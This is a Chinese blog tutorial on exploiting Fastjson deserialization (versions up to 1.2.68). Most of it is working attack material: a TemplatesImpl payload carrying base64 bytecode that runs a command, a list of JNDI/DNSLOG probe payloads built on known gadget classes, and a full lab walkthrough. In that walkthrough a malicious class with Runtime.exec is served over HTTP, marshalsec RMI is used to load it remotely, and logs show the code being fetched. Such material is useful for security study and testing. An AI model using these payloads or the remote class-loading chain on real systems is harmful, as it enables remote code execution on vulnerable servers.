本文已参与「新人创作礼」活动,一起开启掘金创作之路。
FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。漏洞被利用本质找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。
Fastjson反序列化漏洞被利用的原因,可以归结为两方面:
一、Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名; 二、Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。 攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰。、、、\
对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:
parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)
无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。
核心代码:
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
public static void main(String[] args) {
// Open calc in mac
String payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ=="], "_name": "lightless", "_tfactory": { }, "_outputProperties":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
使用parseObject 来解析json字符串
用POST方法打开,Content-Type设置为application/json,暴露使用的fastjson:
使用DNSLOG验证
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"name":{"@type":"java.net.InetAddress","val":"dnslog"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:0{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"}{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://dnslog/"], "Realms":[""]}
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://dnslog/"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://dnslog/"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://dnslog/"}, "namespace":""}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog/", "autoCommit":true}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://dnslog/"}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://dnslog/","Object":"a"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://dnslog/"}
存在的漏洞版本:
fastjson <=1.2.68
如何修复:
fastjson 升级,升级到最新
任意命令执行
// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
编译代码,上传至服务器,我在本地使用Python http.server 进行搭建
javac TouchFile.java //进行编译
python3 -m http.server 4444 //简单搭建web服务
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103/#TouchFile 9999
在显示监听后,在客户端发送请求payload,主要看创建文件是否成功
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.169.8.103:9999/TouchFile",
"autoCommit":true
}
}
发现已经访问
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103:4444/#TouchFile 9999
* Opening JRMP listener on 9999
Have connection from /192.168.8.103:54177
Reading message...
Is RMI.lookup call for TouchFile 2
Sending remote classloading stub targeting http://192.168.8.103:4444/TouchFile.class
Closing connection
╰─$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 -
查看文件
\